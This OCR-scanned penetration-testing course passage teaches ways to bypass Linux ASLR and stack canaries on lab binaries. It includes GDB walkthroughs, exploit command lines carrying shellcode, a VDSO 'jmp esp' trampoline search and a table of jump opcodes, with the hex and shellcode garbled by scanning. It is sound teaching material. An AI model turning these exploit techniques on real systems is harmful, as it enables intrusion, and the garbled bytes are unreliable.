ProFTPD version 1.3.0 had a stack overflow vulnerability. Several exploits were made publicly
available. The interesting thing about the exploit was that a terminator canary was uscd and casily
repaired, and ASLR was also defeated. Both local and remote exploits were made publicly available
on sites such as http://www.cxploit-db.com.

174



Linux Address Space Layout
Randomization (ASLR)

o ASLR
— Stack and Heap addressing is randomized

— mmap() is randomized
e Shared object addresses are not consistent

— Most Significant Bits are not randomized
» Ensures Heap and Stack do not conflict
e Minimizes Fragmentation
o mmap() must be able to handle large memory mappings and
page alignment

— PaX patch will increase randomization
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Linux Address Space l.ayout Randomization (ASLR)

ASLR

The primary objective of ASLR and other OS or compile-time controls is to protect programs from
being exploited by attackers. One method is to make eligible pages of memory non-writable or non-
cxccutable whenever appropriate. ASLR is another control introduced that randomizes the memory
locations of the code segment, stack segment, hcap segments, and sharcd objects within memory. For
cxample, if you check the address of the system() function you will sce that its location in memory
changes with each instance of running a program. If an attacker is trying to run a simple return-to-libc
style attack with the goal of passing an argument to the system() function, the attack will fail, since the
location of system() is not static.

The mmap() function is responsible for mapping files and libraries into memory. Typically, libraries
and shared objects arc mapped in via mmap() to the same location upon startup. When mmap() is
randomizing mappings, the location of the desired functions arc at different locations upon cach
invocation of a program. As you can imagine, this makes attacks more difficult. The control of this
feature is located in the file “randomize va space,” which resides in the “/proc/sys/kernel/” directory
on Ubuntu and similar locations on other systems. If the value in this file is a “1”, ASLR is enabled,
and if the valuc is a “0”, ASLR is disabled. ASLR has been disabled in your Kubuntu Gutsy Gibbon
image. A value of “2” can also be used on modern kernels which also randomizes brk() space.
http://ftp.sunet.se/pub/Linux/kernels/people/jikos/randomization/brk-fix-2.patch

In order to ensure that stacks continue to grow from higher memory down towards the heap segment
and vice versa without colliding, the Most Significant Bit’s (MSB)’s are not randomized. For example,
let's say the address 0x08048688 was the location of a particular function mapped into memory by an
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application during onc instance. The next several times you launch the program, the location of that
samc function may be at 0x08248488, 0x08446888 and 0x08942288. As you can see, the middle two
bytes have changed, but some bytes remained static. This is often the case, depending on the number
of bits that are part of the randomization. The mmap() system call only allows for 16-bits to be
randomized. This is due for its requirements to be able to handle large memory mappings and page
boundary alignment.
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Defeating ASLR

Amount of entropy

— Providing more bits to the randomization pool increases
security

How many tries do you get?
NOPs

Data Leakage

— Format String Bugs

Locating static values

— Not everything is always randomized
— Procedure Linkage Table (PLT)
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Defeating ALSR
Depending on the ASLR implementation, there may be scveral ways to defeat the randomization.

Amount of Entropy

Standard Linux ASLR utilizes various types of randomization offering randomization of 16-24 bits in
multiple segments. The delta_mmap variable handles the mmap() mapping of librarics, heaps, and
stacks. 216 = 65536 possiblc addresscs of where a function is located in memory. When brute
forcing this space, the likeliness of locating the address of the desired function is much lower than
this number on average. Let us discuss an example. If a parent process forks out multiple child
processcs that allow an attacker to brute force a program, success should be possible barring the
parcnt process does not crash. This is often the case with daecmons accepting multiple incoming
connections. If you must restart a program for cach attack attempt, the odds of hitting the correct
address decreases greatly, as you arc not exhausting the memory space. You also have the issuc of
getting the process to start back up again. This may not be an issue for local privilege cscalation
unless somcone is closely monitoring the logs. In the later case, using large NOP sleds and
maintaining a consistent address guess may be the best solution.

Data Leakage

Format string vulnerabilities often allow you to view all memory within a process. This typc of
vulnerability may allow you to locate the desired location of a variable or instruction in memory.
This knowledge may allow an attacker to grab the required addressing to successfully execute code
and bypass ASLR protection. Once a parent process has started up, the addressing for that process
and all child processes remain the same throughout the processes lifetime. If an attacker does not
have to concern themselves with crashing a child process, multiple format string attacks may help
yicld the desired information.
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Locating Static Values

Some implementations of ASLR do not randomize everything within the process. If static values
exist within each instance of a program being exccuted, it may be cnough for an attacker to
successfully gain control of a process. By opening a program up within GDB and viewing the
location of instructions and variables within memory, you may discover some consistencics. We’ll
look at some methods to perform this shortly.

Procedure Linkage Table (PLT)

Some ASLR implementations allow an attacker to do a ret2plt attack where relocation tables could
be viewed to discover the address of a resolved symbol for an instance of a program. This could be
exploited via a standard ret2plt type attack as it would not be randomized.
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Hacking ASLR

e Let’s do this!

— We'll combine Stack Canaries and ASLR on
Kubuntu Edgy
— Fire up your Kubuntu Edgy image

e Reasons for starting with Edgy will become clear
shortly

— Navigate to your /home/deadlist directory
e Try launching the program ./aslr_canary

e It should seem very familiar to the ./canary program
from our last exercise, but with ASLR enabled

\dvanced Penetradon Testng, Lisploit Writing, and thical Hacking

Hacking ASLR Exercise

We will now discuss a couple of methods to try and defeat Address Space Layout Randomization
(ASLR). The interesting thing about attacking ASLR is that a method that works when exploiting
onc program, often times will not work on the next. You must understand the various methods
available when exploiting ASLR and scan the target program thoroughly. Remember, when it
comes to hacking at canaries, ASLR and other controls, you must often times understand the
program and potentially the OS it is running on better than its designer. One data copying function
may very casily allow you to repair a canary, while another may be impossible. It is when faced
with this challenge that you must think outside the box and scarch through memory for alternative
solutions. Every byte mapped into memory is a potential opcode for you to leverage.

We arc going to take a look at the Kubuntu Edgy OS for this attack. The reasoning behind selecting
this OS will become clear shortly. The simple answer is that the linux-gate.so.1 VDSO is mapped to
a static location during program runtime and allows us to usc it as a trampolinc. More on this later.
At this point you should load up the Kubuntu Edgy OS provided to you. We arc going to combine
stack canarics with ASLR to make for a more difficult challenge. Once you have the OS loaded,
navigate to your /home/deadlist directory and try launching the program ./aslr_canary. The program
should not be of any surprise to you as it is the same program we ran during the canary cxercise, but
with ASLR enabled. Note that the buffer sizes may have changed.
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Trying Our Previous Method ...

(gdb) x/28x $esp
oxbfb37480: exbfh374a0 0xbfb38bd H ixbfb38bdf
0xbfb37490: exbfb3sbcd oxbfb3sbey Repaired Canary | 5045300
oxb fb374a0: 9x44444444 0x44444444  0f44444444 0x44444444
Oxb fb374bd 1 Run )x44444444 0x f f0aB000 x41414141 oxbffff644
0xbfb374c0: &) 0x98909090 0x90909090 0xe983¢929 oxdededofa
oxbfb374do: 0x5bf42474 0x35137381 0x83c4hsH 3
Oxbfb374e0: 8x5dedbb5f 0xe9d0d667 oxacs 395 Our RP Guess
Fi LY
( The stack is alive!!! oxbf989hdf 0x0177 ffe 0xbpsobdf
0xbf987ae0: 0xbf989bcd 0xbt989b6 0x00000000 0x080483a0
oxbfo87afe; 0x44444444 0x4444444 0x44444444 Ox44d34444
9xbf987b00: 0x44444444 ox ff0a0000 0x41414141 oxbffff644
oxbf987b10: €2 Ax96909090 8x96909690 8xe983c929 Oxd9eed9fd
0xbf987b2€¢ 2* Run (5bf42474 0x35137381 0x83c4b8ho oxfde2fceb
Oxbf987b306: 0x5deBbb5f Oxe9dodon 7 Oxac5f3956 0xc4dbc3la

e Qur attempt at code execution obviously fails ...
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Trying Qur Previous Method ...

Let us first try our pervious method of hacking the canary program and sce what happens. Fire up
GDB and load the ./aslr_canary program. This can simply be done by navigating to your
/home/deadlist directory and entering in, “gdb ./aslr_canary.” Disassemble the “testfunc™ function
again and locate the address after the final strepy() call. It should be at 0x0804846d. Sct up a
breakpoint by entering “break *0x0804846d” into GDB. Next, type in the following command as we
did with the canary exercise:

run "AAAAAAA “echo -e

"x42\x43'\x0a'x fFA AAAX90\x f6\x flixbfx90'x90'x90\x90'x90'x 90'x90'x 90\ x 29'x ¢ 9'x 8 3\x c 9\ x f4 '\ x A9
xeexd9x 74\x 24'\x f4\x 5b\x 8 1'x 73'x 1 31x 35\xb0\xb8\xc4\x 83 \xeb\x feixe2\x f4\x S fixbb\x e0'x 5d\x 6 7\xd
6\xd0\xe9'x56\x39\x 5fixac'x 1 a\xc3'\xd0\xc4'x 5d'x9fixda\xad\x 5b'\x39\x 5b\x 96\ xdd\xbc'\xb8'\xc4\x 3 5\x
d'xc8\xb0\x 18'\xd7\xdd\xb0\x 1 5\xdd\xd 7\xab\x35'\x¢7\xcb\x4d'\xd4'x 7d\x 38'\xc4""
"BBBBBBBBBBBBBBBBB" "DDDDDDDDDDDDDDDDDDDD*

You should hit the breakpoint. Entering in “continuc’ should result in a stack smashing error. Type in
“run” again and restart the program in GDB. Execution should pause at the breakpoint. Type in “x/28x
$esp.” (Don’t forget to exclude the periods ...) You should see something like the top image on this
slide. Note the address where the NOP instructions begin. On the slide this is at memory address
0xbtb374c0 on the first run. Running the program again resulted in a completely different memory
address for the beginning of our NOP instructions. Now it is at 0xbf987b30. This will bc completely
different on your system with every iteration of the program. As you can imagine, this is duc to ASLR.
You may also notice on the slide that our return pointer guess is pointing to the address Oxbftffo44.
The problem is that our exccutable code is likely never going to be at that location. How can we figure
out where our code is going to sit?
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What's Going On?

e The location of the stack changes with every
execution of the program

— Try running the ./esp program from your
/home/deadlist directory

root@deadlist-desktop: /home/deadlist# . /esp
xbfbdb628]

%}%g&afg_lg ESP changes each time

root@deadlist-desktop: /home/deadlist# ./esp
Bxbfd767b8

list# . /fesp
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What’s Going On?

There’s a program provided for you called “esp.” Try running this program from your /home/deadlist
dircctory by cntering in “./esp.” Try this multiple times. This program simply prints out the address
held in ESP each time it is ran. As you may notice, it keeps changing. The source code for this
program has been provided to you and is titled, “esp.c.” This code is publicly available on the Internet.
Unfortunately, I do not know who the original programmer was who came up with this simple idea of
showing you that ASLR is cnabled.
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Proving to be Difficult

e At first glance it seems that 20-bits are used
in the randomization pool
— That’s just over 1 Million possible addresses!

—We could try to brute force this ...
e What if the process dies?
e What if we don't have that much time?
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Proving to be Difficult

At first glance it seems that 20-bits is being used in the ASLR randomization pool. This can be
determined by looking at what hex valucs remain static during cach run of the “esp’ program. 20-bits
of randomization implies that there are just over 1 Million possible locations of where somcthing may
be mapped. The first byte remains static to provide a way of segmenting memory. If all 32-bits were
randomized, the program would have a difficult time maintaining sanity within a process. In most
situations, the stack will be mapped to a starting address of Oxbf-----0. Other memory segments will
maintain consistency within the first bytc. The last nibblc also scems to remain fairly consistent, often
times ending in 0 or 8. It may be possible to brute force the address space of where our cxccutable
code could be located, but this may prove difficult and certainly isn’t quict. Brute-forcing a process
could causc it to crash very quickly. This would need to be tested. Even if a process seems stable when
brute-forcing it, it is very time consuming and could sct off some intrusion detection devices. We'll try
this method in the bootcamp.
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Winning the Lottery

o Making the right address guess is unlikely
— Let us look at the registers when we hit a segmentation

fault
(gdb) info reg
eax oxe c]
ecx Bxl7 23
edx axd 2]
o s ~ g ebx Bxbfh83cco - 1078969152
ESP is pointing to our :> esp Bxbb03c90] 0xb b03 96
ebp 0x41414141 Gx41414141
| NOPs... esi 0xh7f2dced - 1208820512
edi oxe -]
eip Dxbffffodq Gxbffffodq
(gdb) x/16x $esp -16
Bxbfbo3c80: 0x44444444 Oxffoabeoe 0x41414141 Oxbffffed4
[oxbTbo3c 90} 0x90909090 9x90989090 0xe983c929 Oxd9eed9fd
Bxbfhe3cab: Bx5hf42474 Bx35137381 0x83c4b8ho 8xfde2fceb
OxbfbB3che: @x5deBbb5f BxeddBd667 Bxac 53956 Oxc4doc3la
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Winning the Lottery

So we’ve already established without even giving it a go that the likelihood of guessing an appropriate
return address is very slim. If you're feeling lucky, by all means give it a go! You may get lucky. If
you’re really lucky, there may be a format string vulnerability that enables you to print out the location
of variables on the stack.

For those of us who do not have luck on our side, there is hope. If you’re not still there, jump back
inside of GDB with the aslr_canary program. Try running the cxploit code attempt again. If you hita
breakpoint, go ahead and continue on until you get a scgmentation fault. At this point, type in “info
reg” and take a look at thc ESP register. Locate the address that ESP is holding and type in “x/16x
Sesp -16.”” ESP is actually pointing to the address of our NOPs. This should have you salivating.
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Searching for Trampolines

¢ What if we could find an instruction that
would cause execution to jump to the
address held in ESP?

—jmp esp is “FF E4” in hex
—call esp is “FF D4" in hex
e Wait, isn't everything randomized?
— Not Always ...
— Let us discuss one method

edd Penetration [esting, | .~:.|'rl= at Wridng, and thical Hacking

Searching for Trampolines

What if we could find an instruction that would cause execution to jump to the address held in ESP? If
the last slidc is any indication, it would mean that we could have our code executed, despite ASLR. It
so happens that the opcode for “jmp esp” is Oxffe4 and the opcode for “call esp™ is Oxffd4.

Wait, isn’t cverything randomized? This is not always the case. You must do your homework when
running an application penctration test and search cverywhere for a potential static target. The hex
values we are looking for do not even have to be a rcal assembly instruction that the program is using.
We just have to locate these adjacent hex values and point execution to the appropriate address.
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Tool: Idd

e Tool: List Dynamic Dependencies

— Description from the man page:

* “ldd prints the shared libraries required by each program or
shared library specified on the command line.”

— Author: Roland McGrath & Ulrich Drepper

— When ASLR is enabled, Idd helps us find static
libraries and modules
¢ Mind you this is only one method
¢ Often times the code segment is not randomized
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Tool: Idd

We will be using a tool called Idd which stands for “List Dynamic Dependencies.” As seen in the
manual page, “Idd prints the shared libraries required by cach program or shared library specificd on
the command line.” In other words, it prints out the load address of libraries for a given binary. For us
this means that we can potentially identify librarics that arc loaded to the same address for every run. If
we can find onc of these, they may hold the hex pattern we’re looking to use as a trampoline. There is
also the possibility that the code segment, or other arcas in memory consistently use the same
addressing. If this is the case, you may also find your pattern in one of them.

185



Using Idd

e Let us run Idd a couple of times

root@deadlist-desktop: /home/deadlist# ldd ./aslr_canary
[linux-gate.so.1 = (exffffe0no)]
libc.s0.6 == /lib/t1ls/i686/cmov/libcTwa 6 (0xb7e8b000)
Slib/1d-tinux.s0.2 (8xb7fcefdd}

root@deadlist-desktop: /home/deadlist# 1dd ./aslr (andl lmux-gate so.1

{linux-gate.so.1 => (oxffffeaealgi_-
libc.s0.6 => /lib/t1s/i686/cmov/Libc.s0.6 (0xb pemains staﬁc
/lib/ld-1linux.s0.2 (0xb7ef6000)
root@deadlist-desktop: fhome /deadlist# lddm ¥y
(6xffffe000)|

{linux-gate.so0.1 =

Tibc.s0.6 => /1lib/tls/1686/cmov/libc.so0.6 (0xb7dd8een)
/lib/ld-linux.s0.2 (6xb7f1b0eo)

e linux-gate.so.1 could be a good target for a
trampoline!
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Using Idd

This slide shows Idd running against the aslr_canary program. You may notice that the object linux-
gatc.so. 1 is staying at the same address, whilc the other object keeps changing. This means that linux-
gate.s0.1 could be a possible target for our trampoline. Let us have a closer look.
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linux-gate.so.1

e What is linux-gate.so.1?

— It's a Virtual Dynamically-linked Shared Object
(VDSO)

— Consistently loaded at Oxffffe000

o Penultimate 4096-byte page within 4G address space
— Used for Virtual System Calls

o A gateway between user mode and kernel mode
o Works with SYSENTER & SYSEXIT
e Faster method than invoking int 0x80

\dvanced Penerraton Testing, Fxploit Writing, and ithical Hacking

linux-gate.so.1

We obviously cannot exploit our new friend without first getting to know them. So what is this linux-
gate.so.1? There was a time when a system would always send an interrupt 0x80 when attempting to
move between user-land and kernel mode. This style of access protection and communication was
deemed slow from a processing perspective on more modern processors. With that being the casc, a
new method was created to provide the same type of functionality at a faster rate. The newer method
utilizes SYSENTER and SYSEXIT instructions. Per Intel, the SYSENTER instruction is part of the
“Fast System Call™ facility introduced on the Pentium II processor. For more information on these
instructions I recommend visiting the following link posted by Manu Garg;:
http://manugarg.googlepages.com/systemcallinlinux2 _6.html

For our purposcs at this point, we simply need to know that linux-gate.so. is a Virtual Dynamically-
linked Shared Object (VDSO) that is consistently mapped to the address 0xffffc000 on most Linux
Kernel versions. One of the ideas behind a VDSO is to allow access to Kernel resources without
needing to send an interrupt. Often times it simply acts as a gatcway and is usable by all processes on a
system. If you’re a user of various virtualization products such as VMware, you may remember some
issues where the Hypervisor wanted to use memory pages already being utilized by this VDSO,
requiring you to sct the VDSO option to equal 0.
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Searching through linux-gate.so.1

e The Idd tool showed it to always be loaded
at Oxffffe000

— Let us use GDB and have a look
e gdb ./aslr_canary
e break main
o run
o x/8b Oxfiffe000

— Search for the pair of bytes Oxffd4 (call esp) or
Oxffe4 (jmp esp)
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Searching through linux-gate.so.1

If not already there, launch the aslr_canary program inside of GDB. Once inside of GDB, type in
“break main” followed by “run.” You should hit the breakpoint you created on the address of the
main() function. At this point, take a look at the address of linux-gate.so.l located at 0xffffc000. Typc
in “x/8b 0xffffe000” and press enter. The “8b” displays at bytes in a row, one byte at a time. This
makes it easier to look for our desired opcode. Press enter repeatedly and scarch for cither 0xffd4 (call
esp) or Oxffed (jmp csp). One does exist!
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GDB Results for linux-gate.so.1

e Using x/8b in GDB ...

(gdb) x/8b 0xffffedoo

Oxffffeddo: Ox7f 0x45 Oxdc Bx46 0x01 0x01 oxe1 ox00

(gdb)

Oxffffe00s: 0x00 0x00 0x08 0x00 0x00 0x00 0x00 0x00
B @8 eaa8

‘We found Oxffed at |

Oxfiffer70: a:azcye//aaddress 0xffffe777 _r\k\m, > ToxTT
{gdb)
oxffffar78: Bxed| &~ ox01 0x08 6x00 0x38

ax0e 0x00 Bx68
(gdb)
Oxffffelgo: 0x03 Bx00 Ox80 0xb60

0x02 0x00 0x00 0x080
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GDB Results for linux-gate.so.1

On this slide arc screenshots showing the commands from the last slide. As you can sce, the results are
displaycd cight per row, in one byte segments. This makes it easier to scarch for 0xff, and then check

to sce if the next byte is cither Oxd4 or Oxc4. As you can see, all the way down at 0xffffe777 is onc of
the desired opcodes, Oxffe4. We should be able to leverage this to our advantage.
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A Different Method ...

e Using dd and xxd to cut corners!

~ dd if=/proc/selfymem of=linux-gate.dso bs=4096 skip=1048574
count=1

root@deadlist-desktop: /home/deadlist# dd if=/proc/self/mem
of=linux-gate.dso bs=4096 skip=1048574 count=1

1+0 records in

140 records out

4096 bytes (4.1 kB) copied, 0.0409 seconds, 100 kB/s

— xxd linux-gate.dso [grep "ff e4 : We found 0x ff(; dat

root@deadlist-desktop: /home/deadlist# 1n; ad_dress 0xfﬁ'fe77'7 ]
root@deadlist-desktop: /home/dead)s xxd linux-gate.dso |grep "ff e4"
0 O 0200 0000 edel ffff ed0ITO000 3800 6000 ............ 8i..

root@deadlist-desktop: /home/deadlist# |J
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A Different Method ...

Before we move to the next part of our exploit, let us take a look at an casicr method to search for
opcodes within linux-gate.so. 1. The link provided is one resource:
http://manugarg.googlcpages.com/systemcallinlinux2 6.html. You can also find out information
regarding this technique at http://www.trilithium.com/johan/2005/08/linux-gate/ writtcn by Johan
Petersson and http://www.sOftpj.org/bfi/dev/BFil4-dev-05 by S. Budella.

The technique referenced is the use of the tool dd, to make an image of the linux-gate.so.1 object.
Having a binary image will allow us to use a tool such as xxd to scarch the binary for our string
pattern. To perform this technique, enter in the command:

dd if=/proc/selfimem of=linux-gate.dso bs=4096 skip=1048574 count=1 # bs is 4K page, skip gets
us to the second to last page. 2 " 32 /4096 — 2 = 1048574

This will create an image file called linux-gate.dso. From here, use the xxd tool to scarch for our
desired pattern:

xxd linux-gate.dso |grep “'ff d4”
xxd linux-gate.dso |grep “ff'e4”

The second command should have provided you with the results on the slide. We see again that

0xffffc777 holds our desired hex pattern. The address displayed to the left shows as 00000770. We
must remember to add the base address of 0xffffe000 to this value to get the address 0xffffe770 and
then count the offset to 0xffffe777 from there.
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Using Our Trampoline

e Trying with our new return address

root@deadlist-desktop: /home/deadlist# ./aslr_canary "AAAAAAA “echo -e 'AA
NxBat\x FEAAAANXT 7 \xe T\ x f A\ f I\ %00\ x90\x90\x90\x90\x90\x98\x90\x 29\ xc O\ x83\
xe9\x f4\xd9\xee\xdI\x74\x24\x FA\x5b\xB1\x 73\ x 13\ x 35\ xb0\xbB\xc4\x83\ xeb\ x
fo\xe2\x fA\x5F\xbb\xe8\x5d\x67\xd6\xd0\xe9\x56\x39\x5f\xac\x la\xc 3\xdd\xc
4\ x5d\x9 F\xda\xad\x5b\x39\x5b\x96\xdd\xbc \xb8\xc 4\x35\xd1\xc 8\xha\x18\xd7
edd\xbB\x 15\ xdd\xd 7\ xab\x 35\ xe7\xeb\x4d\xd4\x7d\x38\xc4' " "BBBBBBBBBBBE
Bopop " "poDDOPDDDDDDLDDDDDDD

lAuthentication Failed

.«.."Have you mooed today?"..,
root@deadlist-desktop: /home/deadlist# ||
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Using Our Trampoline

Now that we have what scems to be a desired opcode, let us usc that address as our return pointer. Use
the same exploit code as we did previously, changing the return pointer to “\x77\xc7\xff\xff.” The
command should look like:

run "AAAAAAA ‘ccho -e

"x42\x43\x0a\x fTAAAA\X 7 7\xe 7\x x ix 901 90'x 90'\x 901 90'x 90'x90\x 90\x 29\ x ¢ 9'\x 8 3\ x c9\x T4\ x 9\
xee\xd9\x 74\x24'\x f4\x Sb\x 8 1'x 73'x 13\x35\xb0\xb8\x c4\x83\xeb\x fe'\xe2'\x f4'x 5 f\xbb\xe0\x 5d\x 6 7\xd
6'xd0\xe9'x56'x39\x 5 fixac\x la'xe3'\xd0\xc4'x 5d\x9f\xda\xad\x 5b'x39'x 5b\x 96\xdd\xbe\xb8'xc4\x 3 5'x
d1'\xc8ixb0'x 1 8\xd7\xdd\xb0\x 1 5\xdd\xd7'\xab\x35\xe 7\xcb\x4d\xd4\x 7d\x 38'\xc4" "
"BBBBBBBBBBBBBBBBB" "DDDDDDDDDDDDDDDDDDDD*

As you can scc on the slide above, our cxploit attempt was successful!
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Wrapping up this Method

e Our last method of defeating ASLR works on
Linux Kernel 2.6.17 — 2.6.19

e On 2.6.20 Oxffffe777 was scrubbed of our
“jmp esp” hex-pattern

e What now?

— Oxffed4, Oxffd4 and other helpful patterns still

exist
o Search static areas of the executable or memory like the code
segment
e Or ..
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Wrapping up this Method

Our last method of defeating ASLR works on Linux Kernel 2.6.17 — 2.6.19. There are plenty of OSs
out there using this Kernel version, but as usual, things progress. On Kernel version 2.6.20 for
example, linux-gatc.so. 1 still seems to remain static, although the hex pattern we abused previously
seems to have been removed. On Kernel version 2.6.24, linux-gate.so. 1 is randomized. Does this
mean it is the end of existence as we know it? Of course not! The code segment often gets mapped to
the same address, not participating in ASLR. There may be a potential opcode of interest here. It’s
certainly worth a scarch. There also may be other areas of memory that remain consistent. Being a
rescarcher, you can’t simply get frustrated if your first attempt is unsuccessful. This course should be
opening your eyes to the many ways of taking control of a program. Many rescarchers spend weeks
or months trying to discover a way to crecatc a rcliable exploit.

Patterns of interest:

FF EO0 - JMP EAX
FF E1 - JMP ECX
FF E2 - JMP EDX
FF E3 - JMP EBX
FF E4 - JMP ESP
FF E5 - JMP EBP
FF E6 - JMP ESI

FF E7 - JMP EDI

FF D0 - CALL EAX
FF D1 - CALL ECX
FF D2 - CALL EDX
FF D3 - CALL EBX
FF D4 - CALL ESP
FF D5 - CALL EBP
FF D6 - CALL ESI

FF D7 - CALL EDI
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Other Opcodes of Interest

— Ret-to-ESP
e We just did this one!
e jmp/call esp — Oxffd4 or Oxffe4
— Ret-to-EAX
e Useful when a pointer is returned via EAX to the calling function
o jmp/call EAX — 0xffe0 or 0xffd0
— Ret-to-Ret
e Return repeatedly down the stack until you control the location
e Ret Instruction — Oxc7 ***2.6.20 has these in linux-gate.so.1
— Ret-to-Ptr
o During some seg-faults, registers hold addresses on the stack we can
control; e.g. 0x41414141 may show up in a register
e Ret-to-Ptr in EAX, EDX, EDI, ESI, etc.
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Other Opcodes of Interest

Some additional opcodes that may provide us with opportunities to cxploit ASLR include Ret-to-
ESP, Ret-to-EAX, Ret-to-Ret and Ret-to-Ptr. Let us discuss each one of them in a little more detail.

Ret-to-ESP should sound familiar. This is the onc we just took advantage of on a system with ASLR
running Kernel version 2.6.17. The idea is the ESP register will be pointing to a memory address
immediatcly following the location of the previous return pointer location when a function has been
torn down. Since the ESP register is pointing to this location, we should be able to place our exploit
code after the return pointer location of a vulnerable function and simply overwrite the return pointer
with thc memory address of a “jmp csp™ or “call esp™ instruction. If successful, execution will jump
to the address pointed to by ESP, exccuting our shellcode.

Ret-to-EAX comes into play when a calling function is expecting a pointer returned in the EAX
register that points to a buffer the attacker can control. For example, if a buffer overflow condition
cxists within a function that passes back a pointer to the vulncrable buffer, we could potentially
locate an opcode that performs a “jmp cax” or “call eax” and overwrite the return pointer of the
vulnerable function with this address.

Ret-to-Ret is a bit different. The idea here is to set the return pointer to the address of a “ret”
instruction. The idea behind this attack is to issuc the “ret” instruction as many times as desired,
moving down the stack four bytes at a time. If a pointer resides somewhere on the stack that the
attacker can control, or control the data held at the pointed address, control can be taken via this
method.
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Ret-to-Ptr is an intcresting onc. Imagine for a moment that you discover a buffer overflow within a
vulnerable function. Once you causc a scgmentation fault, often times we’ll see that EIP has attempted
to jump to the address 0x41414141. This address, of course. being caused by our usc of the “A”
character. When we generate this error, we can type in “info reg” into GDB and view the contents of
the processor registers. More often than not, several of the registers will be holding the address or
value 0x41414141. Let us say for cxample that the EBX register is holding the value 0x41414141.
This may indicate that this valuc has been taken from somewhere off of the stack where we crammed
our A’s into the buffer and overwrote the return pointer. If we can find an instruction such as “call
[ebx]” or “FF 13" in hex, and can determine where the 0x41414141 address has been pulled from the
stack to populate EBX, we should be able to take control of the program by overwriting this location
with the address of our desired instruction.

Remember, these are just some examples of what can be done. Think outside the box!
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What About Kernel 2.6.22
and Later?

e Haven't had enough?

e L et us discuss an example of hacking ASLR
on the Linux Kernel 2.6.22 and
later ...
— We mentioned the possibility of Format String
vulnerabilities leaking data

— What about alternative methods?
o Conditional exploitation requires creativity and persistence
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What About Kernel 2.6.22 and Later?

We now know about the method of locating static bytes that could work as potential opcodes, but what
about a different method? Each time a new Kernel version, or compiler version comes out our prior
mcthods of defeating ASLR are sometimes removed. For example, as mentioned, linux-gate.so.1 is
randomized in modern Kernel versions, and in others our desired jmp or call instructions have been
removed. We can no longer reliably use linux-gate.so.1 as a method of bypassing ASLR.

Memory leaks such as format string vulnerabilitics may be one method of learning about the location
of libraries and variables within a running process, but without such luck we need to think outside of
the box a bit. How about wrapping a program within another program in an attempt to have a bit morc
control about the layout of the program. It just so happens that it works when using particular
functions to open up the vulncrable program.
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Another Technique ...

e Jump back over to Kubuntu Gutsy
~ It is running Linux Kernel 2.6.22
— This also works on Kernel 2.6.27 and later,
depending on the ASLR implementation

e Enable ASLR

— From command line, type:
e echo 1 >/proc/sys/kernel/randomize_va_space

— To turn ASLR off:

¢ echo 0 >/proc/sys/kernel/randomize_va_space
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Another Technique ...

Jump back from Kubuntu Edgy over to Kubuntu Gutsy. Gutsy is running Kernel version 2.6.22. We
nced to first enable ASLR by typing in “echo 1 =/proc/sys/kernel/randomize va space” in a command
prompt. Don’t forget to turn this off if needed when performing other testing. You can do this by
entering the command “echo 0 >/proc/sys/kernel/randomize va_space.”

There are three main valucs that can be located in the file randomize va_space.
0 — No randomization — Everything is static.

| — Conscrvative randomization — Shared libraries, stack, mmap, VDSO, and heap are randomized.

2 — Full randomization — In addition to conservative randomization, break “brk()” is also randomized.
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Verifying ASLR is Running

e Using the Idd tool, verify that ASLR is
running

— We'll be hacking at the program “aslr_vuln”
located in the /home/deadlist directory
—Type in “ldd ./aslr_vuln”

e s the libc.s0.6 load address changing each time?
e If not, ASLR is not running
e The linux-gate.so.1 VDSO may show as static
— Remember, it's been scrubbed of our desired “jmp esp”
instruction
- By all means, hack away at it. Let the instructor know if you
find something!
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Verifying ASLR is Running

First, we’ll use the Idd tool to verify whether or not ASLR is properly enabled. The program we’ll be
hacking at is called, “aslr_vuln” and is in your /home/dcadlist directory. Locate the program and run
“Idd ./aslr_vuln.” The address of libc.so.6 should be changing cach time you run Idd against the
aslr_vuln program. If not, check to make surc that the file “randomize va space” located in the
/proc/sys/kernel/ directory holds the value “1” inside. Note that linux-gate.so.1 is showing a static
address. It seems that in Kernel version 2.6.22, it is static, but has been sanitized of our desired
opcode. By all means, scc if you can locate some static pattern of bytes that can be Ieveraged as a
trampolinc. If you find something, plcasc share it!
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What You Should be Seeing

deadlist@deadlist-desktop:~$ uname -a
GMT 2007 1686 GNU/Linux
deadlistdeadlist-dasktdd:~$ ldd ./aslr_vuln
' Kernel 2.6.22 = (0xffffe000) —
Leawe rowre 7 vud/ t1s/1686/cmov/libc .50.6 (Oxb7dde000)
/lib/1d-1linux.s0.2 (Oxb7f37000)
deadlist@deadlist-desktop:~$ ldd ./aslr_vuln
linux-gate[ sn 1 == (Axffffalfn) -
libc.s0.6 | ASLR is enabled... He—se=5)(0xb7e02000)
/Lib/ld-li:\'lul.au?& VAR T TOUIUUY ]
deadlist@deadlist-desktop:~$ ldd ./aslr_vuln
linux-gate.so.l == (Oxffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so0.6 (Pxb7e12000)
/lib/1d-linux.s0.2 {0xb7f6b000)

What You Should be Seeing

As you can see on this screen, we are running Linux Kernel version 2.6.22. This is verified by issuing
the “uname —a” command. In using the ldd tool multiple times on the “aslr_vuln” program, you should
also sce the load address for the listed shared objects is changing with cach run. This allows us to
verify that ASLR is enabled properly.

198



Checking for a BoF

e Let us check the “aslr_vuln” program for an
overflow

deadlist@deadlist-desktop:~$ ./aslr_vuln AAAA
I'm vulnerable to a stack overflow... See if you can hack me!

deadlist@deadlist-desktop:~$ [./aslr_vuln ‘python -c ‘print "A" *1066'"
I'm vulnerable to a stack overflow... See if you can hack me!

Segmentation fault| (core dumped)

e We cause a segmentation fault by sending
100 A’s
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Checking for a BoF

Just likc we did earlier, detcrmine if the aslr_vuln program is vulnerable to a simple stack overflow by
passing it in some A’s. On this slide you can see that four A’s does not trigger a segmentation fault,
but using Python to pass in 100 A’s, we cause a segmentation fault.
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Checking with GDB

(gdb) run ‘python -c¢ ‘print “"A" *48'°
Starting program: /home/deadlist/aslr_vuln "python -¢ 'print "A" *48"°

48 A’s overflows tack overflow... See if you can hack me!

Program rq;A d signal SIGSEGY, Segmentation fault,
Px41414141] in 77 ()

(gdb) p $esp
$1 = (void *

[0xb 846800

(gdb) run ‘python -c 'print\A" *48'’
Starting pyogram: /home/deadlMetiasle wiln “nuthon .c 'print "A" *48'°

I'm vulnerpble to a stack ove ESP is changing hack me!

with each run
Frogram ceived signal SIGS ¥, JEINENLELIUIT TauL RetZBuffer is |
Jox41414141) in 72 () % '
(gdb) p Sesp f unlikely
$3 = (void *) [Bxbf9ad100)
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Checking with GDB

Let us try and run the program inside of GDB to get a closcr look. Try and run the program with 100
A’s first. You will likely not see 0x41414141 during the segmentation fault as you would expect. Part
